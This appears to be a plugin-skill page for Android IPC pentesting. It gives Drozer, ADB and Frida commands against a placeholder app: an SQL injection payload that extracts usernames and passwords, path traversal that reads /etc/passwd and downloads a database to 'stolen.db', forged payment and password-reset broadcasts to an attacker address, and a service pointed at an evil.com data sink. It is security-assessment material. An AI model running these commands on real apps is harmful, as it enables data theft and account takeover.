Tests Android Intent vulnerabilities in IPC including injection, unauthorized component access, broadcast sniffing, PendingIntent hijacking, and ContentProvider leaks using Drozer, ADB, and Frida. Useful for auditing exported components and mobile security assessments.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
适用于以下情况:
Tests Android intents for IPC vulnerabilities like intent injection, unauthorized access, broadcast sniffing, pending intent hijacking, and content provider leaks using Drozer, ADB, and Frida. For assessing exported components in mobile pentests.
Tests Android intents for IPC vulnerabilities including intent injection, unauthorized access, broadcast sniffing, pending intent hijacking, and content provider leakage using Drozer and ADB.
Hunts vulnerabilities in Android APKs using DECX CLI and JADX: enumerates attack surfaces, triages exported components and deep links, traces WebView/IPC flows, screens exploitability, generates bilingual reports with PoC handoff.
Share bugs, ideas, or general feedback.
适用于以下情况:
不适用场景:未经明确授权,不得在生产设备上使用。
drozer agent.apk)pip install drozer)# 使用 Drozer
drozer console connect
run app.package.info -a com.target.app
run app.package.attacksurface com.target.app
# 输出内容:
# X 个已导出 Activity
# X 个已导出广播接收器
# X 个已导出内容提供者
# X 个已导出 Service
# 列出已导出 Activity
run app.activity.info -a com.target.app
# 列出已导出 Service
run app.service.info -a com.target.app
# 列出已导出广播接收器
run app.broadcast.info -a com.target.app
# 列出内容提供者
run app.provider.info -a com.target.app
# 直接启动导出 Activity
run app.activity.start --component com.target.app com.target.app.AdminActivity
# 携带 Intent Extra 参数启动
run app.activity.start --component com.target.app com.target.app.ProfileActivity \
--extra string user_id 1337
# 通过数据 URI 测试 Intent 注入
adb shell am start -a android.intent.action.VIEW \
-d "content://com.target.app/users/admin" com.target.app
# 若管理 Activity 无需认证即可打开,上报为授权绕过漏洞
# 向导出广播接收器发送广播
run app.broadcast.send --action com.target.app.PROCESS_PAYMENT \
--extra string amount "0.01" --extra string recipient "attacker"
# 嗅探广播中的敏感数据
run app.broadcast.sniff --action com.target.app.USER_LOGIN
# 通过 ADB 发送广播
adb shell am broadcast -a com.target.app.RESET_PASSWORD \
--es email "attacker@evil.com"
# 查询内容提供者,检测数据泄露
run app.provider.query content://com.target.app.provider/users
run app.provider.query content://com.target.app.provider/users --projection "password"
# 测试内容提供者 SQL 注入
run app.provider.query content://com.target.app.provider/users \
--selection "1=1) UNION SELECT username,password FROM users--"
# 测试路径遍历
run app.provider.read content://com.target.app.provider/../../etc/passwd
run app.provider.download content://com.target.app.provider/../databases/app.db /tmp/stolen.db
# 查找可注入的内容提供者
run scanner.provider.injection -a com.target.app
run scanner.provider.traversal -a com.target.app
// 通过 Frida 监控 PendingIntent 创建
Java.perform(function() {
var PendingIntent = Java.use("android.app.PendingIntent");
PendingIntent.getActivity.overload("android.content.Context", "int",
"android.content.Intent", "int").implementation =
function(context, requestCode, intent, flags) {
console.log("[PendingIntent] getActivity:");
console.log(" Intent: " + intent.toString());
console.log(" Flags: " + flags);
// 检查 FLAG_IMMUTABLE(安全)与 FLAG_MUTABLE(存在漏洞)
var FLAG_MUTABLE = 0x02000000;
if ((flags & FLAG_MUTABLE) !== 0) {
console.log(" [漏洞] FLAG_MUTABLE - PendingIntent 可被接收方修改");
}
return this.getActivity(context, requestCode, intent, flags);
};
});
# 尝试绑定导出 Service
run app.service.start --action com.target.app.SYNC_SERVICE \
--extra string server "https://evil.com/data_sink"
run app.service.send com.target.app com.target.app.MessengerService \
--msg 1 0 0 --extra string command "dump_database" --bundle-as-obj
| 术语 | 定义 |
|---|---|
| 导出组件(Exported Component) | 设备上其他应用可访问的 Android 组件(Activity/Service/BroadcastReceiver/ContentProvider) |
| Intent | 用于向其他组件请求操作的消息对象;可为显式(指定目标)或隐式(基于 Action) |
| PendingIntent | 封装 Intent 供其他应用未来执行的令牌;可变的 PendingIntent 可被接收方修改 |
| ContentProvider(内容提供者) | 用于应用间结构化数据共享的组件;若查询参数未过滤,为 SQL 注入攻击目标 |
| BroadcastReceiver(广播接收器) | 接收系统或应用广播的组件;导出的广播接收器可被任意应用触发 |